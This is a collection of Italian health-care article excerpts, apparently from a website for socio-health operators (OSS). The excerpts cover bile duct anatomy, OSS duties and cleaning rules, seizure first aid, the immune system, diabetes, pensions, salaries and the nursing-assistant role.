sulle modalità diagnostiche e sui trattamenti disponibili. Comprendere il ruolo e le caratteristiche del dotto biliare comune è fondamentale per riconoscere segni e sintomi di eventuali patologie e per apprezzare l'importanza della diagnosi e della gestione terapeutica precoce. Anatomia e posizione del coledoco Il coledoco nasce dall'unione del dotto cistico, che trasporta la bile dalla cistifellea, con il dotto epatico comune, che raccoglie la bile prodotta dal fegato. Questa confluenza dà origine al dotto biliare comune, il coledoco appunto, che rappresenta il principale canale per il trasporto della bile verso il duodeno. Dal punto di vista anatomico, il coledoco è situato nell'addome superiore e mantiene stretti rapporti con importanti strutture vascolari e organi, quali l'arteria epatica, la vena porta, la vena cava inferiore e la testa del pancreas. Questi elementi formano il cosiddetto quadrilatero di Quenu, una regione anatomica cruciale per la chirurgia e la diagnostica. Il decorso del coledoco si suddivide in quattro tratti principali: Porzione sopraduodenale, che si estende sopra il duodeno; Porzione retroduodenale, che passa posteriormente al duodeno; Porzione pancreatica, che attraversa la testa del pancreas; Porzione intramurale, che si inserisce nella parete del duodeno, terminando nell'ampolla di Vater. È importante considerare anche le varianti anatomiche del coledoco, che possono influenzare le procedure cliniche e chirurgiche, rendendo necessaria una conoscenza approfondita e personalizzata della sua struttura. Struttura e disposizione anatomica Dal punto di vista istologico, il coledoco è costituito da diverse tonache che ne garantiscono funzionalità e resistenza. La tonaca mucosa è formata da cellule epiteliali cilindriche che rivestono internamente il dotto, facilitando il passaggio della bile e proteggendo la mucosa da eventuali danni. Sotto la mucosa si trova la tonaca muscolare liscia, fondamentale per la contrazione ritmica del coledoco, che contribuisce a regolare attivamente il flusso biliare, favorendo il movimento della bile verso il duodeno. La parte esterna è composta da tessuto connettivo di sostegno, che conferisce robustezza e mantiene l'integrità strutturale del dotto durante i movimenti e le variazioni di pressione. Questa complessa composizione anatomica è essenziale per assicurare un trasporto continuo e controllato della bile, fondamentale per il corretto funzionamento del sistema digestivo. Connessioni con vie biliari e duodeno Il coledoco si unisce al dotto pancreatico principale nell'ampolla di Vater, un'importante struttura anatomica che rappresenta il punto di incontro tra il sistema biliare e il sistema pancreatico. All'uscita dell'ampolla si trova lo sfintere di... --- - Published: 2025-12-05 - Modified: 2025-12-05 - URL: https://ossinreparto.it/oss-deve-fare-le-pulizie-in-ospedale-mansionario-normativa/ - Categorie: Igiene e Sicurezza, Legislazione Sanitaria, Sicurezza Sanitaria - Tag: Lavorare come OSS L'OSS deve fare le pulizie in ospedale? Ecco cosa prevede davvero il mansionario tra compiti, limiti, normativa e mansioni vietate. Il tema è uno dei più discussi nei reparti ospedalieri: l'Operatore Socio-Sanitario deve occuparsi delle pulizie in ospedale oppure no? La domanda, tutt'altro che marginale, riguarda non solo il corretto inquadramento professionale, ma anche la qualità dell'assistenza e la sicurezza dei pazienti. La normativa nazionale fissa limiti precisi, spesso disattesi nella pratica. E chiarisce che le attività di sanificazione spettano all'OSS solo quando strettamente connesse all'assistenza diretta, mentre le pulizie generali restano di competenza del personale ausiliario o delle ditte esterne. Cosa dice la normativa: l'OSS può svolgere solo pulizie collegate all'assistenza Il profilo professionale dell'OSS, definito dall'Accordo Stato-Regioni del 22 febbraio 2001, indica che l'operatore collabora all'igiene dell'ambiente di vita dell'assistito in relazione alla cura della persona, non come attività generica di sanificazione. In altre parole, l'OSS può intervenire su quegli spazi che fanno parte del percorso assistenziale. Rientrano nelle sue competenze, ad esempio: l'igiene dei presidi utilizzati dal paziente; il riordino e la pulizia superficiale del letto di degenza; la sanificazione di carrozzine, comode e ausili; la gestione del materiale biologico quando direttamente correlato alla cura. Si tratta di attività finalizzate alla sicurezza e al comfort dell'assistito, non di interventi strutturali sugli ambienti ospedalieri. Cosa non rientra nelle mansioni dell'OSS: le pulizie generali non spettano all'operatore La normativa è altrettanto chiara nel fissare ciò che non compete all'OSS. Non rientrano nelle sue funzioni: il lavaggio dei pavimenti dei reparti; la pulizia dei bagni comuni o delle aree di passaggio; la sanificazione delle camere dopo dimissione; la pulizia di corridoi, ambulatori, uffici e locali tecnici; qualsiasi attività normalmente affidata agli addetti alle pulizie. Questi compiti richiedono procedure, prodotti e responsabilità che appartengono al personale ausiliario o alle imprese appaltatrici. Attribuirli impropriamente all'OSS non è solo scorretto dal punto di vista contrattuale: può compromettere il corretto svolgimento dell'assistenza. Perché il confine viene spesso superato: carenza di personale e organizzazione dei reparti Nei reparti sovraccarichi, la linea tra assistenza e pulizia tende a sfumare. La carenza di personale e l'aumento dei carichi di lavoro spingono spesso gli operatori a svolgere mansioni non previste dal profilo professionale. Una prassi che genera malcontento, rischi e una percezione distorta del ruolo dell'OSS. Gli esperti sottolineano che l'operatore socio-sanitario non è una figura di supporto generico, ma un professionista formato per l'assistenza diretta alla persona e per attività di igiene finalizzate al percorso di cura. Spostarlo su mansioni improprie significa sottrarre tempo all'assistenza e aumentare il rischio di errori. Cosa può fare l’OSS quando gli vengono richieste attività non previste dal mansionario Se al professionista viene imposto di eseguire pulizie generali, può richiedere: un chiarimento formale al coordinatore; l’accesso ai documenti interni che regolano le mansioni; il rispetto del profilo professionale previsto dalla normativa; l’intervento delle rappresentanze sindacali nei casi di richiesta impropria reiterata. Il principio è semplice: il mansionario non è una scelta organizzativa, ma un vincolo giuridico. L'OSS non è un addetto alle pulizie, ma garantisce l'igiene funzionale all'assistenza Il dibattito è destinato a proseguire, ma la normativa offre una risposta netta. L'OSS... --- > Scopri cos’è l’epilessia e come un OSS può gestire una crisi in modo sicuro, rispettando i limiti professionali e promuovendo inclusione. - Published: 2025-10-26 - Modified: 2025-11-27 - URL: https://ossinreparto.it/epilessia-gestione-crisi-oss-sicurezza-assistito/ - Categorie: Sanità - Tag: Guide OSS Scopri cos’è l’epilessia e come un OSS può gestire una crisi in modo sicuro, rispettando i limiti professionali e promuovendo inclusione. L’epilessia è una condizione neurologica ancora poco compresa, nonostante sia molto più diffusa di quanto si creda. Sapere come comportarsi durante una crisi può davvero fare la differenza tra un intervento sicuro e una reazione istintiva ma pericolosa. Per un Operatore Socio-Sanitario (OSS), la conoscenza delle manovre corrette e la consapevolezza dei propri limiti professionali sono fondamentali per garantire sicurezza, rispetto e assistenza efficace alla persona assistita. Cos’è l’epilessia L’epilessia non è una singola malattia, ma un insieme di disturbi caratterizzati dalla comparsa di crisi epilettiche ricorrenti. Durante una crisi, nel cervello avviene una “scarica elettrica” improvvisa che può alterare per qualche secondo o minuto il comportamento, i movimenti o la coscienza della persona. Le crisi non sono tutte uguali: alcune causano brevi assenze o sguardi fissi, altre provocano irrigidimento, scosse muscolari o perdita di conoscenza. Ricordo la prima volta che ne vidi una, era una paziente adolescente in un centro di riabilitazione, stava giocando con le costruzioni e all'improvviso sentì un grido seguito da irrigidimento e scosse muscolari. Le cause dell'epilessia Le cause possono essere molto diverse: genetiche, conseguenti a traumi cranici, ictus, malformazioni o infezioni cerebrali. In molti casi però la causa resta sconosciuta, e non per questo la persona è meno “gestibile”: anzi, con la giusta terapia e una buona educazione sanitaria, può condurre una vita del tutto normale. Cosa può fare l’OSS Per noi operatori socio-sanitari, conoscere l’epilessia è importante per prevenire incidenti e ridurre lo stigma. Ecco alcune buone pratiche: Mantenere la calma durante una crisi; Proteggere la persona da urti: mettere qualcosa di morbido sotto la testa e allontanare oggetti pericolosi; Non inserire nulla in bocca, né cercare di bloccare i movimenti; Controllare la durata della crisi e avvisare il personale sanitario se supera i 5 minuti o se le crisi si ripetono; Offrire supporto dopo la crisi: spesso la persona è confusa o stanca, serve solo tranquillità e presenza; Dopo la crisi, posizionare la persona in posizione di sicurezza e rimanere accanto finché non si riprende completamente. Se non sapete le manovre di sicurezza o come gestire una crisi epilettica, è sempre meglio chiamare aiuto. Ricordo di aver assistito a una scena scorretta: una persona mise le dita in bocca alla paziente con l’intento di “non farla soffocare”. Purtroppo la paziente, serrando la bocca involontariamente, gli procurò una ferita. Queste situazioni non devono accadere: un OSS deve essere consapevole di ciò che può o non può fare, agendo con calma, conoscenza e responsabilità. Un tema da portare alla luce Parlare di epilessia serve anche a combattere i pregiudizi. Molte persone con epilessia lavorano, studiano, guidano e fanno sport, ma spesso si scontrano con la paura degli altri. Conoscere questa condizione significa promuovere inclusione e rispetto — due valori fondamentali anche nel lavoro socio-sanitario. --- > Il sistema immunitario è la difesa del corpo: organi, cellule e molecole proteggono da virus, batteri, infezioni e malattie. - Published: 2025-10-14 - Modified: 2025-10-14 - URL: https://ossinreparto.it/come-funziona-sistema-immunitario/ - Categorie: Anatomia Scopri il sistema immunitario: organi, cellule e molecole che difendono il corpo da virus, batteri e malattie. Il sistema immunitario è la linea di difesa più importante del nostro organismo, un complesso meccanismo che opera instancabilmente per proteggerci dalle minacce esterne e interne. Virus, batteri, funghi, e persino cellule tumorali: ogni giorno affrontiamo nemici invisibili che mettono a rischio la nostra salute. Ma come funziona questa incredibile rete di protezione? Quali sono i suoi componenti principali? In questo articolo esploreremo in modo chiaro e coinvolgente il sistema immunitario, per comprendere il suo funzionamento e imparare a preservarlo. Cos'è il sistema immunitario? Il sistema immunitario è l'insieme delle strutture e dei processi biologici che permettono all'organismo di difendersi da agenti patogeni e anomalie interne. La sua funzione principale è distinguere ciò che è "proprio" da ciò che è "estraneo", neutralizzando eventuali minacce senza attaccare i tessuti sani. Ecco alcune delle sue caratteristiche fondamentali: Complesso e coordinato: lavora come una squadra ben organizzata, con ogni elemento che svolge un ruolo specifico; Adattabile: può evolversi per rispondere a nuove minacce, creando una memoria immunitaria che lo rende più efficace con il tempo; Indispensabile: un sistema immunitario compromesso lascia il corpo vulnerabile a infezioni, malattie e anomalie cellulari. Senza il sistema immunitario, il nostro corpo non potrebbe sopravvivere all'incontro con agenti esterni o alle trasformazioni cellulari interne. Da cosa è composto il sistema immunitario? Il sistema immunitario è una rete straordinariamente complessa e interconnessa, composta da organi, cellule e molecole specializzate che collaborano per proteggerci da infezioni e malattie. Ogni componente ha un ruolo specifico e fondamentale, contribuendo al funzionamento armonioso di questo sofisticato meccanismo. Organi del sistema immunitario Gli organi immunitari si dividono in due categorie principali: primari e secondari, a seconda della loro funzione. Organi primari: dove tutto inizia Gli organi primari sono il luogo di produzione e maturazione delle cellule immunitarie, essi sono: Midollo osseo: Situato all'interno delle ossa, il midollo osseo è la "fabbrica" del sistema immunitario. Qui vengono prodotte le cellule staminali ematopoietiche, che danno origine ai globuli bianchi, i principali protagonisti della risposta immunitaria. Tra questi troviamo linfociti, monociti e granulociti; Timo: Situato dietro lo sterno, il timo è essenziale per la maturazione dei linfociti T. Queste cellule, una volta pronte, sono in grado di riconoscere e attaccare specifici invasori o cellule infette. La durata della vita dei globuli bianchi è estremamente variabile:Neutrofili: hanno una vita molto breve, sopravvivendo solo poche ore. Linfociti: possono vivere per anni, assicurando una memoria immunitaria che consente al corpo di riconoscere e combattere malattie già affrontate in passato. Organi secondari: il campo di battaglia Gli organi secondari sono i luoghi dove le cellule immunitarie incontrano gli antigeni (le sostanze estranee da combattere) e si attivano, questi sono: Milza: Funziona come un grande filtro del sangue. Rimuove i globuli rossi vecchi e danneggiati, ma è anche un importante centro di attivazione per i linfociti e la produzione di anticorpi; Linfonodi: Piccole strutture sparse in tutto il corpo, collegate da vasi linfatici. Agiscono come "stazioni di controllo", dove le cellule immunitarie si radunano, scambiano informazioni e si preparano a rispondere a... --- > Quasi una persona su due ignora di avere il diabete, e non sa nemmeno di averlo. Scopri rischi, sintomi e strategie per prevenirlo e vivere bene. - Published: 2025-10-05 - Modified: 2025-10-04 - URL: https://ossinreparto.it/diabete-quasi-meta-ignora-rischi-prevenzione/ - Categorie: Prevenzione e stili di vita - Tag: Diabete, Paziente Diabetico Quasi una persona su due ignora di avere il diabete, e non sa nemmeno di averlo. Scopri rischi, sintomi e strategie per prevenirlo e vivere bene. Il diabete è una malattia silenziosa che può colpire chiunque, anche chi oggi si sente in perfetta salute. Per chi ha già una diagnosi, il controllo costante della glicemia, la gestione della dieta e l'attività fisica regolare sono strumenti fondamentali per prevenire complicanze e vivere bene. Ma il vero problema riguarda chi non sa di avere il diabete: secondo recenti studi, quasi la metà delle persone con diabete sopra i 15 anni non è consapevole della propria condizione. Per questi individui, la prevenzione diventa cruciale: controlli medici regolari, uno stile di vita sano e la conoscenza dei fattori di rischio possono fare la differenza, permettendo di intercettare la malattia precocemente e ridurre i rischi a lungo termine. Diabete in crescita: numeri e rischi globali Negli ultimi trent'anni, il diabete ha cambiato volto: quello che una volta era considerato un problema relativamente raro oggi colpisce centinaia di milioni di persone in tutto il mondo. Secondo uno studio pubblicato su The Lancet Diabetes & Endocrinology, oltre 800 milioni di persone convivono con questa malattia, con un aumento più che doppio rispetto al 2000. Anche in Italia il fenomeno è significativo: circa 3,9 milioni di persone hanno una diagnosi confermata, mentre si stima che 1,5 milioni non siano ancora consapevoli della propria condizione. Ciò che preoccupa maggiormente è che molti giovani adulti ignorano di avere il diabete, aumentando il rischio di sviluppare complicanze a lungo termine. Comprendere le nuove ricerche e le strategie di prevenzione è fondamentale per affrontare questa sfida globale. Lo studio di The Lancet Negli ultimi tre decenni, il diabete è cresciuto in maniera esponenziale in quasi tutti i continenti. Lo studio di The Lancet ha analizzato dati provenienti da 204 paesi e territori, rivelando che la percentuale di adulti con diabete non diagnosticato è del 44%. Tra le cause principali di questa crescita: Aumento dell'obesità e stili di vita sedentari; Diete ricche di zuccheri e grassi; Invecchiamento della popolazione. Situazione italiana In Italia, il quadro è simile: oltre ai 3,9 milioni di persone già diagnosticate, circa 1,5 milioni vivono con il diabete senza saperlo. La fascia di età più colpita dai casi non diagnosticati è quella dei giovani adulti (18-35 anni), il che rappresenta un campanello d'allarme importante. Diabete non controllato: salute Il diabete non è solo una questione di zuccheri nel sangue: quando non viene monitorato e gestito correttamente, può avere effetti profondi e duraturi sulla salute. La malattia silenziosa può danneggiare organi vitali e sistemi del corpo, causando complicanze che influenzano pesantemente la qualità della vita quotidiana. Anche se i sintomi iniziali possono sembrare lievi o assenti, nel tempo il diabete non controllato può portare a problemi seri, che spesso richiedono interventi medici complessi. Comprendere questi rischi è fondamentale per chi convive con la malattia e per chi vuole prevenirla, così da intervenire tempestivamente con controlli regolari e uno stile di vita sano. Complicanze principali Il diabete non controllato può provocare: Retinopatia, che può compromettere la vista; Malattie renali, con rischio di insufficienza cronica; Neuropatie, con dolore... --- > OSS e lavoro usurante: diritti, opportunità di pensione anticipata e tutele per chi lavora nel settore sociosanitario. - Published: 2025-10-04 - Modified: 2025-10-04 - URL: https://ossinreparto.it/oss-lavoro-usurante-normativa-pensione-anticipata-tutele/ - Categorie: Lavoro, Legislazione Sanitaria - Tag: Guide OSS, Lavorare come OSS OSS e lavoro usurante: diritti, opportunità di pensione anticipata e tutele per chi lavora nel settore sociosanitario. Il riconoscimento del lavoro usurante per gli operatori socio sanitari (OSS) rappresenta un tema di grande rilevanza nell'ambito delle tutele lavorative e previdenziali. In un settore sanitario caratterizzato da crescenti sfide e impegni, gli OSS svolgono un ruolo cruciale, contraddistinto da un'intensa e continuativa sollecitazione psicofisica. La recente approvazione da parte della Camera dei Deputati ha sancito un significativo passo avanti, aprendo la strada a importanti benefici, quali la pensione anticipata e ulteriori forme di tutela specifica. Questa guida approfondisce in modo dettagliato il concetto di lavoro usurante nel contesto sociosanitario, illustrando il ruolo e le responsabilità degli OSS, il quadro normativo vigente, le dinamiche politiche e sindacali, nonché le opportunità e le modalità per accedere alle agevolazioni previste. Il nostro obiettivo è offrire un quadro chiaro e completo, utile a tutti gli operatori del settore interessati a conoscere i propri diritti e le possibilità derivanti dal riconoscimento ufficiale del lavoro usurante. Il ruolo dell'OSS e le caratteristiche del lavoro usurante Gli operatori socio sanitari rappresentano una figura essenziale nel sistema sanitario e sociosanitario, svolgendo mansioni di assistenza diretta ai pazienti che richiedono competenze tecniche e relazionali di alto livello. Tra le loro principali attività vi sono l'igiene personale, il supporto nella mobilizzazione, la somministrazione di pasti e l'affiancamento al personale medico e infermieristico nelle attività quotidiane e socio-assistenziali. Le condizioni lavorative degli OSS sono spesso particolarmente gravose: turni notturni e festivi, carichi psicofisici rilevanti e l'esposizione continua a situazioni di stress elevato aumentano il rischio di burnout e di malattie professionali. A ciò si aggiungono rischi specifici quali aggressioni verbali o fisiche da parte di pazienti o familiari, che aggravano ulteriormente la complessità del lavoro. La recente pandemia da COVID-19 ha accentuato queste criticità, evidenziando la necessità di un riconoscimento adeguato delle condizioni di lavoro degli OSS. Nel contesto sociosanitario, il lavoro usurante si configura come un'attività caratterizzata da un impegno psicofisico intenso, continuativo e superiore alla normale fatica lavorativa, elementi che giustificano specifiche forme di tutela e agevolazioni previdenziali. Competenze e mansioni dell'Operatore Socio Sanitario L'OSS è un professionista qualificato che, oltre ad assistere direttamente i pazienti, svolge un ruolo di supporto fondamentale al personale medico e infermieristico. Opera in diversi contesti, dall'assistenza domiciliare alle micro-comunità, gestendo pazienti con fragilità e bisogni complessi che richiedono sensibilità e competenze specifiche. La sua attività quotidiana comprende la cura dell'igiene, la somministrazione di terapie semplici sotto supervisione, l'aiuto nella mobilizzazione e il monitoraggio dello stato di salute. Inoltre, l'OSS contribuisce a prevenire il burnout del personale sanitario, alleggerendo il carico assistenziale e facilitando un ambiente di lavoro più sostenibile. Queste responsabilità evidenziano la natura gravosa e impegnativa del lavoro, sottolineando l'importanza di riconoscimenti e tutele adeguate. Cosa si intende per lavoro usurante nel settore sociosanitario Il concetto di lavoro usurante è definito dal Decreto Legislativo 374/1993, che individua le attività caratterizzate da un impegno psicofisico particolarmente intenso e continuativo. Nel settore sociosanitario, questo si traduce in condizioni quali turni prolungati, frequente lavoro notturno, esposizione a malattie professionali e stress elevato, elementi... --- > Guida completa sul numero di ossa nel corpo umano, le loro categorie, funzioni vitali e variabilità anatomica tra individui. - Published: 2025-10-04 - Modified: 2025-10-04 - URL: https://ossinreparto.it/quante-ossa-ha-corpo-umano-struttura-funzioni/ - Categorie: Anatomia - Tag: Corpo Umano Guida completa sul numero di ossa nel corpo umano, le loro categorie, funzioni vitali e variabilità anatomica tra individui. Il corpo umano è sostenuto da uno scheletro complesso formato da numerose ossa, la cui quantità varia nel corso della vita a causa di processi fisiologici specifici. La domanda "quante ossa ha il corpo umano" richiede quindi una risposta articolata che consideri le differenze tra scheletro adulto e infantile, nonché le variazioni individuali. Le ossa non solo costituiscono la struttura portante del corpo, ma svolgono anche funzioni fondamentali quali protezione degli organi, movimento, deposito di minerali e produzione di cellule del sangue. Questo articolo fornisce una panoramica dettagliata sul numero di ossa presenti nel corpo umano, illustrandone la struttura anatomica, i tipi principali, le funzioni essenziali e i fattori che influenzano la salute ossea. Viene inoltre trattato il tema delle variazioni nel numero di ossa e le innovazioni nelle tecniche diagnostiche che hanno migliorato la conoscenza dello scheletro umano. Numero di ossa nell'adulto e nel bambino Lo scheletro umano adulto è composto mediamente da 206 ossa. Questo numero rappresenta il risultato finale di un complesso processo di crescita e fusione ossea che si verifica durante l'infanzia e l'adolescenza. Alla nascita, infatti, il corpo di un neonato presenta circa 270 ossa, molte delle quali sono ancora separate e costituite prevalentemente da tessuto cartilagineo. Il processo di ossificazione trasforma gradualmente la cartilagine in tessuto osseo, mentre molte ossa si uniscono mediante la fusione, riducendo così il numero totale. Ad esempio, l'osso frontale nel neonato è diviso in due parti che si saldano nel corso dello sviluppo. Anche l'osso mascellare e l'osso ioide subiscono modifiche strutturali significative durante questo processo. È importante considerare che il numero di ossa può presentare lievi variazioni individuali dovute a ossa accessorie o differenze anatomiche congenite. Queste differenze non compromettono generalmente la funzionalità dello scheletro, ma riflettono la naturale diversità biologica della specie umana. Differenze tra scheletro adulto e infantile Lo scheletro infantile presenta caratteristiche anatomiche e funzionali distintive rispetto a quello adulto. Una delle peculiarità più evidenti è la presenza di fontanelle nel cranio dei neonati, ovvero aree di tessuto molle formate da cartilagine ialina e tessuti elastici che permettono una maggiore flessibilità durante il parto e consentono la crescita cerebrale. La cartilagine ialina, abbondante nelle ossa dei bambini, conferisce loro una struttura più flessibile e resistente agli urti rispetto alle ossa adulte. Durante lo sviluppo, questa cartilagine viene progressivamente sostituita da tessuto osseo attraverso il processo di ossificazione. Le placche epifisarie, zone di crescita situate alle estremità delle ossa lunghe, si chiudono al termine della maturazione scheletrica, segnando la fine dell'allungamento osseo. Inoltre, lo scheletro infantile è caratterizzato da un maggior numero di ossa mobili e non ancora fuse, che favoriscono la crescita e l'adattabilità. Con il progredire dello sviluppo, queste ossa si consolidano e si fondono, portando alla struttura scheletrica tipica dell'adulto. Perché il numero di ossa può variare Il numero di ossa nel corpo umano può variare tra individui per diversi motivi. Tra le cause più comuni vi sono le ossa accessorie, come le ossa sesamoidi e le ossa wormiane. Le ossa sesamoidi sono... --- > Scopri quanto guadagna un OSS nel 2025: stipendio medio, differenze tra pubblico, privato e cooperative, e opportunità di crescita. - Published: 2025-10-04 - Modified: 2025-10-04 - URL: https://ossinreparto.it/quanto-guadagna-oss-stipendio-2025/ - Categorie: Diventare OSS, Lavoro - Tag: Lavorare come OSS Scopri quanto guadagna un OSS nel 2025: stipendio medio, differenze tra pubblico, privato e cooperative, e opportunità di crescita. Il ruolo dell'Operatore Socio Sanitario (OSS) è fondamentale nel sistema socio-sanitario italiano, e conoscere il guadagno medio aggiornato al 2025 è essenziale per chi si avvicina a questa professione o desidera approfondirne gli aspetti economici. La retribuzione di un OSS varia in base a molteplici fattori, tra cui il settore di impiego, la regione geografica, l'esperienza maturata e le condizioni di lavoro. Questa guida offre un'analisi dettagliata dello stipendio medio, delle differenze tra pubblico, privato e cooperative sociali, dei fattori che influenzano il compenso, delle modalità per aumentare lo stipendio e delle prospettive occupazionali attuali e future. Stipendio medio e differenze salariali per settore e regione Stipendio medio di un OSS in Italia nel 2025 Nel 2025, lo stipendio medio annuo lordo di un Operatore Socio Sanitario in Italia si aggira intorno ai 20. 000 euro. Nel settore pubblico, la retribuzione mensile lorda si attesta mediamente sui 1. 675 euro, calcolati su 13 mensilità, in base al rinnovo contrattuale 2022-2025 che ha previsto un aumento di circa 172 euro mensili rispetto agli anni precedenti. Oltre alla retribuzione base, il contratto collettivo nazionale del lavoro OSS include diverse indennità aggiuntive, come quelle per lavoro notturno, festivo o in condizioni particolari, che contribuiscono a incrementare il compenso complessivo. Nel settore privato e nelle cooperative sociali, invece, lo stipendio medio è generalmente inferiore, con una significativa variabilità legata alle specifiche condizioni contrattuali e alle risorse economiche delle strutture. Differenze tra settore pubblico, privato e cooperative sociali Gli OSS impiegati nel settore pubblico beneficiano di un contratto collettivo nazionale che garantisce tutele contrattuali solide, livelli salariali definiti e indennità per particolari condizioni di lavoro. Questo si traduce in una maggiore stabilità e in una progressione retributiva più chiara nel tempo. Nel settore privato, gli stipendi possono talvolta superare quelli del pubblico, ma spesso a fronte di minori garanzie contrattuali e una situazione lavorativa più precaria. Le cooperative sociali, pur rappresentando un'importante realtà di impiego per gli OSS, offrono in media compensi più bassi, con retribuzioni che si aggirano intorno ai 960 euro netti mensili. Questa differenza riflette la natura contrattuale e le limitate risorse finanziarie tipiche di tali organizzazioni. Variazioni salariali tra Nord, Centro e Sud La retribuzione degli OSS in Italia presenta una marcata variabilità geografica. Al Nord, regioni come Bolzano offrono stipendi medi più elevati grazie a economie locali più sviluppate e una domanda di servizi socio-sanitari più intensa. Al Centro, le retribuzioni si mantengono su livelli intermedi, mentre al Sud, città come Palermo registrano stipendi inferiori, influenzati da un minore potere d'acquisto e risorse economiche limitate delle strutture. Queste differenze sono inoltre dovute a fattori come il costo della vita e le specifiche contrattazioni regionali, che incidono sulla scelta lavorativa e sulle opportunità di impiego degli OSS. Fattori che influenzano lo stipendio di un OSS Esperienza e anzianità L'anzianità e l'esperienza professionale rappresentano elementi determinanti per la crescita dello stipendio di un OSS. Nel settore pubblico, grazie ai passaggi di livello previsti dal contratto collettivo, un OSS con oltre 20 anni... --- > Scopri il ruolo dell'assistente infermiere: formazione, competenze, normative, sbocchi lavorativi e crescita professionale nel 2025. - Published: 2025-10-04 - Modified: 2025-10-10 - URL: https://ossinreparto.it/assistente-infermiere-ruolo-formazione-lavoro/ - Categorie: Lavoro - Tag: Assistente Infermiere Scopri il ruolo dell'assistente infermiere: formazione, competenze, normative, sbocchi lavorativi e crescita professionale nel 2025. L'assistente infermiere è una figura professionale emergente nel sistema sanitario italiano, creata per rispondere alle crescenti esigenze assistenziali derivanti dall'invecchiamento della popolazione e dalla complessità delle cure. Questa nuova qualifica professionale sanitaria si colloca tra l'operatore socio sanitario (OSS) e l'infermiere, con un ruolo specifico di supporto tecnico e relazionale, senza autonomia decisionale clinica. La sua istituzione è regolata dalla legge 43/2006 e dal più recente DPCM 2025, che ne definiscono formazione, competenze e ambiti di operatività. In questo articolo, destinato a operatori sanitari, studenti e potenziali corsisti, forniremo una panoramica dettagliata sull'assistente infermiere, illustrandone il ruolo, le competenze, il percorso formativo, le normative di riferimento e le opportunità professionali, per offrire un quadro completo e aggiornato di questa figura fondamentale nel contesto sanitario attuale. Ruolo e competenze dell'Assistente Infermiere L'assistente infermiere svolge un ruolo intermedio tra l'OSS e l'infermiere, caratterizzato da competenze tecniche più avanzate rispetto al primo ma prive dell'autonomia decisionale propria del secondo. Tra le sue principali competenze tecniche figurano la rilevazione dei parametri vitali (pressione arteriosa, frequenza cardiaca, respiratoria), la somministrazione di ossigeno e di alcune terapie non iniettive, nonché il supporto alle attività infermieristiche di routine. Operando sotto la supervisione diretta dell'infermiere, l'assistente infermiere contribuisce a garantire un'assistenza qualificata e continua nei contesti ospedalieri, territoriali, socio-sanitari e domiciliari. Dal punto di vista relazionale, questa figura assume un ruolo educativo e di sostegno rivolto a pazienti e caregiver, facilitando la comprensione e la gestione delle cure, migliorando così la qualità complessiva dell'assistenza. Le sue mansioni sono caratterizzate da un basso grado di discrezionalità decisionale, in quanto l'attività deve sempre essere conforme a protocolli e indicazioni infermieristiche, secondo le linee guida stabilite da enti come la FNOPI (Federazione Nazionale Ordini Professioni Infermieristiche). Differenze tra Assistente Infermiere, OSS e Infermiere Per comprendere appieno il ruolo dell'assistente infermiere, è utile distinguere chiaramente le differenze rispetto all'OSS e all'infermiere, sia sotto il profilo formativo che operativo. L'OSS è una figura con formazione di base di circa 1000 ore, focalizzata su attività di assistenza di base e supporto quotidiano rivolto a persone in condizioni di fragilità. L'assistente infermiere, invece, possiede una qualifica professionale sanitaria con un percorso formativo più strutturato e specializzato, che include moduli teorici e tirocinio pratico mirato, posizionandosi così come figura intermedia con mansioni tecniche più complesse ma senza autonomia clinica. L'infermiere, infine, è una professione sanitaria regolamentata da un percorso universitario triennale (o magistrale), con competenze decisionali e cliniche complete, responsabile della pianificazione e dell'erogazione delle cure. Dal punto di vista normativo, la legge 43/2006 e il DPCM 2025 definiscono specificamente la qualifica di assistente infermiere, mentre il corso OSS ha recentemente subito una revisione formativa confermandone le 1000 ore obbligatorie. Le differenze contrattuali riflettono questi livelli di formazione e autonomia: l'assistente infermiere opera sempre sotto la supervisione dell'infermiere, svolgendo un ruolo di supporto qualificato e specializzato. Responsabilità e attività principali Rilevazione e registrazione accurata dei parametri vitali, quali pressione arteriosa, frequenza cardiaca e respiratoria; Somministrazione di ossigeno e di terapie non iniettive, esclusivamente su indicazione e... --- > Scopri cosa pulisce un OSS, i compiti legati all'assistenza al paziente e cosa spetta invece alle cooperative nelle strutture sanitarie. - Published: 2025-10-01 - Modified: 2025-10-01 - URL: https://ossinreparto.it/cosa-pulisce-un-oss-mansioni-e-differenze/ - Categorie: Igiene e Sicurezza - Tag: Guide OSS Scopri cosa pulisce un OSS, i compiti legati all'assistenza al paziente e cosa spetta invece alle cooperative nelle strutture sanitarie. Pulizia e igiene sono la base di un OSS, spesso questa figura è associata esclusivamente all'assistenza diretta alla persona, ma le sue competenze vanno ben oltre. Un OSS non si occupa soltanto di igiene e supporto ai pazienti: tra i suoi compiti rientra anche la pulizia e la sanificazione degli ambienti, attività fondamentali per garantire la sicurezza e il benessere di tutti. Sapere cosa pulisce un OSS, come farlo correttamente e con quali strumenti, è essenziale per svolgere questo lavoro in maniera professionale ed efficace. Cos'è la pulizia? Il termine pulizia indica l'insieme delle azioni finalizzate a rimuovere lo sporco visibile da superfici, oggetti o ambienti. È il primo e più semplice livello di igiene, quello che consente di mantenere gli spazi ordinati, gradevoli e sicuri per chi vi vive o lavora. Caratteristiche della pulizia Rimozione dello sporco: polvere, residui organici e materiali estranei vengono eliminati con acqua, detergenti e azioni meccaniche (strofinamento, lavaggio, risciacquo); Ordine e comfort: un ambiente pulito favorisce non solo la sicurezza, ma anche il benessere psicologico delle persone assistite; Base per altre procedure: senza un'adeguata pulizia, non possono essere efficaci ulteriori azioni di igiene più avanzate, come disinfezione, sterilizzazione (se ti interessa approfondire il tema, clicca qui). Nelle RSA, negli ospedali e nelle case di cura si lavora spesso a stretto contatto tra operatori socio sanitari (OSS) e personale delle cooperative di pulizie. Qui nasce una domanda che da anni genera discussioni: cosa pulisce realmente un OSS e cosa invece spetta agli addetti delle pulizie? Il cuore del lavoro dell'OSS: la persona, non l'ambiente L'OSS, come definito dall'Accordo Stato-Regioni del 2001 e ribadito dai contratti collettivi del settore, ha come compito principale l'assistenza alla persona. Non è un addetto alle pulizie generiche, bensì un professionista della cura quotidiana. per l'OSS, l'igiene ambientale non è da intendersi come pulizia generale degli ambienti (che spetta al personale addetto alle pulizie o alle cooperative), ma come quelle attività di pulizia collegate direttamente alla cura e al benessere del paziente. In pratica: Riordino del letto e della stanza del paziente: rifacimento letto, cambio biancheria, eliminazione materiali sporchi; Pulizia e sanificazione di ausili e presidi usati dal paziente (carrozzine, comode, letti, tavolini, spondine, apparecchiature semplici); Gestione dei rifiuti sanitari: corretta raccolta e conferimento nei contenitori idonei (es. materiale sporco di sangue, urine, presidi monouso); Supporto alla sanificazione: se un ausilio si 